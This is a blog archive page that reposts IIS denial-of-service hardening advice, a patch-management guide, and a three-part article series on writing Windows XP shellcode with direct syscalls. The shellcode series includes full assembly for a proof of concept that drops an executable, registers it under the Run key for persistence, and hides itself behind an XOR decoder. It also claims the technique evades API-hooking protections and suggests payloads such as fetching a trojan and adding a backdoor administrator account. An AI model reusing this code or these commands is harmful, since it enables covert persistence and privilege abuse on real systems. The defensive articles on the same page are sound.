Have you ever been ripped off by a company and wanted to get revenge somehow? Have you ever been terminated from a job and felt you were treated unfairly? As a teenager did you ever take a baseball bat to someone else's mailbox while speeding by in a friend's car?
We are all human and at some point we are angry with someone somewhere. Sometimes we just take out our anger on the next person who passes by. Our motivations could be revenge, jealousy, greed, or even just boredom.
But sometimes we are the victims of someone else's anger. Maybe we have wronged someone or maybe we are just a random victim. If you operate a high-profile web site, chances are that someone sometime will try to take you down. Their motivations may vary but whatever they are, you must still keep your site going 24 hours a day, seven days a week.
There are three basic ways in which a server can be attacked. It can be vandalized, robbed, or denied service. This article will be covering denial of service (DoS) and what can be done to make an IIS server more resistant to DoS attacks. This article will deal specifically with IIS and not cover other areas such as router configuration or DNS hijacking.
Configured correctly, an IIS server can actually be quite resilient to network-based attacks. Often, by following common security procedures, one can protect a server from the majority of these attacks.
What is Denial of Service?
Denial of Service is simply making a web site inaccessible to a site's normal visitors. This can be accomplished a number of ways including 100% bandwidth utilization, 100% CPU utilization, 100% RAM utilization, filling a hard drive, crashing the kernel or server applications, or redirecting traffic so that it never reaches the intended site. In the last few years there have been a number of vulnerabilities discovered in Windows NT and IIS that result in many of those conditions. There are also a number of weaknesses in the TCP/IP protocol that can be exploited to deny service from a web site. We will not be covering here the specifics of how each attack works but rather what methods can be used to protect from any number of attacks.
Keeping Patched
By following many common sense security procedures you can take a big step towards helping your site stand its ground under attack. The most obvious of these procedures is to keep up-to-date on the most current issues and vendor patches. Most importantly are Microsoft's security bulletins for Windows NT and IIS. You should also frequently monitor mailing lists and security web sites for other current security issues.
One downside of keeping up-to-date on patches is that you may be introducing code that has not been fully regression tested and may cause problems with your particular server. Patches should be analyzed carefully and backups should be made before applying them.
Closing Doors
Server software applications and services do have bugs and when you have more services running, you increase the number of battle fronts that must be monitored. Shut off all services that do not have a specific purpose for your web site. If you do not need anonymous FTP, disable it until the occasion rises that you do. The same is true for Terminal Server, NetBIOS, Telnet, and Mail servers. If you want a web server to keep serving, remove everything except that which you specifically are using to run and administer the server.
The same is true for ISAPI extension mappings and sample applications on IIS. Remove every extension mapping that you do not specifically use and keep your web root clean.
Regular Maintenance
Take advantage of the scheduler service and the disk cleanup utility to keep your temp directory and swap volumes clean with plenty of extra drive space. You should also regularly monitor log sizes and spread swap files across several volumes or drives if available.
Lock Down Network Services
The most basic advice one can give to protect the security and uptime to a web server is to remove the NetBIOS protocol. There are a number of attacks targeted at NetBIOS and the best solution is to eliminate it completely from a web server. Other protocols and clients (such as Client for Microsoft Networks) should be carefully considered when enabling them on a web server.
While on the network adaptor configuration, it may be a good idea to manually configure the IP address, gateway, and DNS servers to protect from attacks that exploit weaknesses in DHCP.
Although rarely done, enabling TCP/IP filtering on the server can also be a great protection form a number of attacks. You should only enable the ports that you will specifically be using such as 80, 443, and possibly 21 for FTP services. Keep in mind, however, that any TCP/IP filtering restrictions you set will apply to all adaptors on the system. If that proves to be too restrictive, the you should then consider a third-party firewall application.
There are a number of registry settings that can be used to make IIS more resistant to attacks based on TCP/IP protocol flaws, such as SYN floods. The recommended settings for these registry keys are as follows:
Registry Key Type Value
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\SynAttackProtect REG_DWORD 2
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnablePMTUDiscovery REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\NoNameReleaseOnDemand REG_DWORD 1
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\KeepAliveTime REG_DWORD 300,000
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PerformRouterDiscovery REG_DWORD 0
HCLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableICMPRedirects REG_DWORD 0
If these settings do not stop an attack, finer control can be gained over the TCP/IP parameters. Refer to the resource kits for more detailed descriptions of all the relevant settings.
Use Performance Counters and Alerts
Learning to use Windows 2000's Performance Counters and Alerts can prove to be very effective in protecting against DoS attacks. There are a number of performance counters that can be excellent indicators of a DoS attack. For example, counters that monitor the processor, RAM, hard disk, TCP, or ICMP data can all provide a good insight into how well your server is surviving. By adding alerts to predefined warning levels, you can be sure that you will have some warning in case of an attack.
Eventually someone will have some motivation for taking down your website. By taking these few precautions you can be ready when they come. Most of these techniques are very simple to implement but do require taking regular time each day to know what is going in the security world and stopping those who would like to knock your site to its knees.
Thursday, September 20, 2007
Withstanding Denial of Service Attacks
Posted by Networking at 11:47 PM 0 comments
Sunday, September 16, 2007
Windows Syscall Shellcode -3
If you experience formatting issues with the code as listed below, an archive of this proof of concept is available for download from SecurityFocus.
The shellcode - Proof Of Concept
comment $
-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info
$
include my_macro.inc
include io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH equ "\??\C:\b.exe",0 ; dropper
SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop
; shellcode
REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS equ 0000f003fh ; const value
_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h
@syscall macro fn, param ; syscall implementation
local b, r ; for Windows XP
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm
path struc ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
path ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
call crypt_and_dump_sh ; xor and dump shellcode
sc_start proc
local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block
local fHandle :DWORD
local rHandle :DWORD
sub ebp,500 ; allocate space on stack
push FILE_PATH_ULEN ; set up unicode string
pop [u_string.us_length] ; length
push 255 ; set up unicode max string
pop [u_string.us_length+2] ; length
lea edi,[fpath] ; EDI = ptr to unicode file
push edi ; path
pop [u_string.us_pstring] ; set up the unciode entry
call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h
a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0
a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align
lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]
lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall
lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body
s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1
a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall
mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]
call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh
a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN
a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1
push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6
lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle
push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '\??\')
push ebx ; file path
add [esp],8 ; without '\??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value
dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?
ssc_size equ $ -offset sc_start
sc_start endp
exit:
push 0
@callx ExitProcess
crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop
_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx
jmp exit
sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size
fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add
sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop
sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor
end start
Final words
The author hopes you have enjoyed the article. If you have any comments don't hesitate to contact him; also remember that code was developed purely for educational purposes only.
Further reading
1. "Inside the Native API" by Mark Russinovich
2. "MSDN" from Microsoft
3. Interactive Win32 syscall page from Metasploit
About the author
Piotr Bania is an independent IT Security/Anti-Virus Researcher from Poland with over five years of experience. He has discovered several highly critical security vulnerabilities in popular applications like RealPlayer. More information can be found on his website.
Posted by Networking at 11:03 PM 0 comments
Labels: Windows
Windows Syscall Shellcode - 2
In Windows 2000 (and other NT based systems except XP and newer) no SYSENTER instruction is used. However, in Windows XP the "int 2eh" (our old way) was replaced by SYSENTER instruction. The following schema shows the syscall implementation for Windows 2000:
MOV EAX, SyscallNumber ; requested syscall number
LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler
RET 4*NUMBER_OF_PARAMS ; return
We know already the Windows XP way, however here is the one I'm using in shellcode:
push fn ; push syscall number
pop eax ; EAX = syscall number
push eax ; this one makes no diff
call b ; put caller address on stack
b: add [esp],(offset r - offset b) ; normalize stack
mov edx, esp ; EDX = stack
db 0fh, 34h ; SYSENTER instruction
r: add esp, (param*4) ; normalize stack
It seems that SYSENTER was first introduced in the Intel Pentium II processors. This author is not certain but one can guess that SYSENTER is not supported by Athlon processors. To determine if the instruction is available on a particular processor, use the CPUID instruction together with a check for the SEP flag and some specific family/model/stepping checks. Here is the example how Intel does this type of checking:
IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
But of course this is not the only difference in various Windows operating systems -- system call numbers also change between the various Windows versions, as the following table shows:
Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread
Windows NT SP 3 0x3 0x5 0x7
SP 4 0x3 0x5 0x7
SP 5 0x3 0x5 0x7
SP 6 0x3 0x5 0x7
Windows 2000 SP 0 0x8 0xa 0xc
SP 1 0x8 0xa 0xc
SP 2 0x8 0xa 0xc
SP 3 0x8 0xa 0xc
SP 4 0x8 0xa 0xc
Windows XP SP 0 0x8 0xb 0xd
SP 1 0x8 0xb 0xd
SP 2 0x8 0xb 0xd
Windows 2003 Server SP 0 0x8 0xc 0xe
SP 1 0x8 0xc 0xe
The syscall number tables are available on the Internet. The reader is advised to look at the one from metasploit.com, however other sources may also be good.
Syscall shellcode advantages
There are several advantages when using this approach:
* Shellcode doesn't require the use of APIs, due to the fact that it doesn't have to locate API addresses (there is no kernel address finding/no export section parsing/import section parsing, and so on). Due to this "feature" it is able to bypass most of ring3 "buffer overflow prevention systems." Such protection mechanisms usually don't stop the buffer overflow attacks in itself, but instead they mainly hook the most used APIs and check the caller address. Here, such checking would be of no use.
* Since you are sending the requests directly to the kernel handler and you "jump over" all of those instructions from the Win32 Subsystem, the speed of execution highly increases (although in the era of modern processors, who truly cares about speed of shellcode?).
Syscall shellcode disadvantages
There are also several disadvantages to this approach:
* Size -- this is the main disadvantage. Becase we are "jumping over" all of those subsytem wrappers, we need to code our own ones, and this increases the size of shellcode.
* Compability -- as has been written above, there exist various implementations from "int 2eh" to "sysenter," depending on the operating system version. Also, the system call number changes together with each Windows version (for more see the References section).
The ideas
The shellcode at the end of this article dumps a file and then writes an registry key. This action causes execution of the dropped file after the computer reboots. Many of you may ask me why we would not to execute the file directly without storing the registry key. Well, executing win32 application by syscalls is not a simple task -- don't think that NtCreateProcess will do the job; let's look at what CreateProcess API must do to execute an application:
1. Open the image file (.exe) to be executed inside the process.
2. Create the Windows executive process object.
3. Create the initial thread (stack, context, and Windows executive thread object).
4. Notify the Win32 subsystem of the new process so that it can set up for the new process and thread.
5. Start execution of the initial thread (unless the CREATE_SUSPENDED flag was specified).
6. In the context of the new process and thread, complete the initialization of the address space (such as load required DLLs) and begin execution of the program.
Therefore, it is clearly much easier and quicker to use the registry method. The following shellcode that concludes this article drops a sample MessageBox application (mainly, a PE struct which is big itself so the size increases) however there are plenty more solutions. Attacker can drop some script file (batch/vbs/others) and download a trojan/backdoor file from an ftp server, or just execute various commands such as: "net user /add piotr test123" & "net localgroup /add administrators piotr". This idea should help the reader with optimizations, now enjoy the proof of concept shellcode.
Posted by Networking at 11:02 PM 0 comments
Labels: Windows
Windows Syscall Shellcode - 1
Introduction Windows NT-based systems (NT/2000/XP/2003 and beyond) were designed to handle many subsystems, each having its own individual environment. For example, one of NT subsystems is Win32 (for normal Windows applications), another example would be POSIX (Unix) or OS/2. What does it mean? It means that Windows NT could actually run (of course with proper os add-ons) OS/2 and support most of it features. So what changes were made as the OS was developed? To support all of these potential subsystems, Microsoft made unified set of APIs which are called wrappers of each subsystem. In short, all subsystems have all the needed libraries for them to work. For example Win32 apps call the Win32 Subsystem APIs, which in fact call NT APIs (native APIs, or just natives). Natives don't require any subsystem to run. This API routine doesn't use any arbitary calls. The only thing it does is the return the pointer to the program command line. But let's now discuss an example that is in line with our theory. What follows is part of the TerminateProcess API's disassembly. As you can see, the TerminateProcess API passes arguments and then executes NtTerminateProcess, exported by NTDLL.DLL. The NTDLL.DLL is the native API. In other words, the function which name starts with 'Nt' is called the native API (some of them are also ZwAPIs - just look what exports from the NTDLL library). Let's now look at NtTerminateProcess. This native API infact only puts the number of the syscall to eax and calls memory at 7FFE0300h, which is: And that shows how the story goes; EDX is now user stack pointer, EAX is the system call to execute. The SYSENTER instruction executes a fast call to a level 0 system routine, which does rest of the job.
This article has been written to show that is possible to write shellcode for Windows operating systems that doesn't use standard API calls at all. Of course, as with every solution, this approach has both advantages and disadvantages. In this paper we will look at such shellcode and also introduce some example usage. IA-32 assembly knowledge is definitely required to fully understand this article.
All shellcode here has been tested on Windows XP SP1. Note that there are variations in the approach depending on the operating system and service pack level, so this will be discussed further as we progress.
Some backgroundFrom native API calls to syscalls
Is this theory true, that shellcode can be written without any standard API calls? Well, for some APIs it is for some it isn't. There are many APIs that do their job without calling native NT APIs and so on. To prove this, let's look at the GetCommandLineA API exported from KERNEL32.DLL. .text:77E7E358 ; --------------- S U B R O U T I N E -------------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp7FFE0300 8BD4 MOV EDX,ESP
7FFE0302 0F34 SYSENTER
7FFE0304 C3 RETN
Posted by Networking at 11:01 PM 0 comments
Labels: Windows
Saturday, September 15, 2007
Winning the Hotfix Race
Even a Broken Watch is Correct Twice a Day
Any NT or IIS admin is familiar with the process of applying service packs and hotfixes--as well as all the problems associated with it. But the fact is, no software is going to work 100% of the time, especially when you take into consideration the many security concerns of a web server. But Microsoft does not always make it easy on us.
The process of keeping up-to-date can be a time-consuming and often confusing process. First, one must be aware of the issues and the availability of a fix. Then one must determine if the fix should actually be applied to each server. And finally there are the logistical issues of deploying hotfixes to a number of servers. But as long as there is software, there will be hotfixes for that software.
When To Fix
Obviously, a good time to apply service packs and hotfixes is immediately after installing a product on your computer. A fresh install of any OS is considered insecure and is normally full of holes. Windows NT and Windows 2000 are no exception. But applying hotfixes after a fresh install is not going to keep the OS secure. You must keep up with Microsoft Security Advisories in order to stay secure. You must also often reapply service packs and hotfixes when adding or removing certain system components.
But how do you know exactly what needs to be reapplied after which components are added or removed? Keeping track of what changes can be difficult and much of the documentation available can be confusing and sometimes contradictory. Often, many administrators will just reapply all service packs and hotfixes regularly just to be safe. But there are also some third-party tools that may help the process such as SPQuery or Service Pack Manager.
If It Ain't Broke, Don't Fix It
System administrators have many different philosophies when it comes to hotfixes. Some will religiously apply every available fix while others will never touch a system that is already working well. There's a an Italian saying "Una scopa nuova spazza bene" which translates to "A new broom sweeps well." We all like the new car smell but sometimes new software is not always the best answer. There are systems out there that have 99.9999% uptime but that is only because they are running the same software that was originally installed ten years ago. The proper way to approach the problem is to balance the benefits of a hotfix to the risks of introducing new bugs. I imagine that some hotfxes are nothing more than the software version of duct tape and bailing wire and even Microsoft warns against using all hotfixes unless specifically needed. Most hotfixes have not been fully regression tested so the implications of applying them are for the most part unknown.
So the question is really one of whether you really need the update or not. Often, the security benefits of a hotfix far outweigh the risks of applying the fix. Nonetheless, if the hotfix applies to a service or function that you are not using, you may be better off just not applying it. However, you must keep track of which fixes are applied to a server so that if you ever do use that service or function in the future, you can know to apply the hotfix.
When deciding to apply an advisory it is good practice to review the associated knowledge base article. Every hotfix will be accompanied by a knowledge base article that is often included with the hotfix itself. These articles will usually explain who needs to apply the hotfix and what problems are corrected. Keep in mind, however, that often the article will be vague about the actual exploit, making it difficult to decide if there is another workaround without having to apply the fix. Often, if the bug was discovered by another company and reported to Microsoft, they will have their own advisory that will have much more detail. Check the security mailing lists if necessary to get more information about the hotfix.
Applying the Patch
Once you have determined to install a hotfix, you should download and install it on a test system. Usually this is a non-critical server that has a similar configuration as your main web server. The time spent testing really depends on your resources, time, and risk exposure. Once satisfied with the stability of the patch, you can then plan to put it on your production server. If possible, time the update at a time when your web traffic is low. If you have multiple web servers, only work on one at a time, making sure that one is up and running stable before working on the next.
If you are installing a new server and are applying multiple patches, keep in mind that it is usually important that the fixes be applied in the correct order. Microsoft usually documents the correct order, but it is not always very clear and can sometimes be difficult to follow. To cope with this, I usually save each hotfix in a directory that includes the Q-number, such as "Q244599 C2-Fix." That way, the hotfixes are for the most part saved in a chronological order and can be reapplied in that same order. It is also important to remember to group them by service packs as well, as the service packs will include most of the previous hotfixes--but not always.
Another good reason for tracking the hotfixes by their Q-number is so that when you are reading the documentation for a service pack, you can easily see which ones are included and which ones are not. Although most hotfixes will be rolled in to the service packs, there are times when a fix may not be best for everyone and so therefore they are not included. You must manually keep track of this and be sure to apply the old hotfixes when necessary.
With the new Windows Update service, it is quick and easy to keep your system patched. But like the service packs, not all hotfixes are included. The only way to know which ones are included and which ones are not is to use both the Windows Update site as well as the Security Bulletin site.
Keeping Up With Updates
Keeping up with all the service packs and hotfixes is not as simple as it seems. I have already mentioned Windows Update and the Security Bulletin site, but there are also other places where fixes may be hidden. Here is a list of resources that may be good to check regularly:
Microsoft Sites:
Windows NT Hotfixes - Hotfixes for Windows NT 4 and 3.51
Windows NT Service Packs - Service Packs for Windows NT 4 and 3.51
Windows 2000 Downloads Page - Contains all critical updates, service packs, and other downloads for Windows 2000
Microsoft's Main Downloads Page - Allows you to search for downloads for any Microsoft product
Microsoft's FTP Site - FTP access to most product updates, although some are hidden in obscure locations
Office Update - Downloads and updates for Microsoft Office
Microsoft's DLL Help Database - Very useful database for tracking down dll versions
Non-Microsoft Sites:
Paperbits - Excellent update resource for Windows NT as well as third-party drivers
Versions - Tracks version numbers for a number of software applications
BugNet - Excellent resource for keeping on top of software bugs
Finally, do not forget Microsoft's Knowledge Base. If you search for the word "Fix:" or "security_patch" and only include articles for the last several days, you can sometimes find fixes that would otherwise sneak by without much notice.
One way to keep on top of all these pages using Internet Explorer is to navigate to the page, then from the favorites menu, select Add to Favorites. Then check the Make available offline button and click on Customize to create a synchronization schedule. I normally set it to synchronize every day. Save the schedule and the bookmark and next time the page changes, a red dot will appear next to the site's icon in the favorite's menu.
Distributing Updates
Keeping on top of updates difficult enough for one or two servers, but if you have to distribute updates to several hundred computers across an enterprise, the task can be quite overwhelming. To do this, I would recommended creating a network share for storing all service packs and hotfixes. To actually distribute them, you may opt to manually apply each one, use a script or batch file, use Microsoft's SMS server, or use some other third-party software. If you have all Windows 2000 systems, you may very well want to consider using ActiveDirectory's publish and assign features to distribute updates. Publish allows you to make updates available for installation and assign will actually force the install on every computer under the control of that policy.
Some day managing service packs and hotfixes will be a thing of the past. But for now you must know about the updates, know that you need to apply them, know where to get them, reinstall them (and in the right order) after changing your system, and have a good plan for distributing them across your company. Nonetheless, with a good strategy, it can be done and it can be done well.
Relevant Links
Windows Update
Microsoft
Microsoft Security Bulletins
Microsoft
Windows NT Hotfixes
Microsoft
Windows NT Service Packs
Microsoft
Windows 2000 Downloads Page
Microsoft
Microsoft Main Downloads Page
Microsoft
Microsoft FTP Site
Microsoft
OfficeUpdate
Microsoft
DLL Help Database
Microsoft
Posted by Networking at 11:19 PM 0 comments
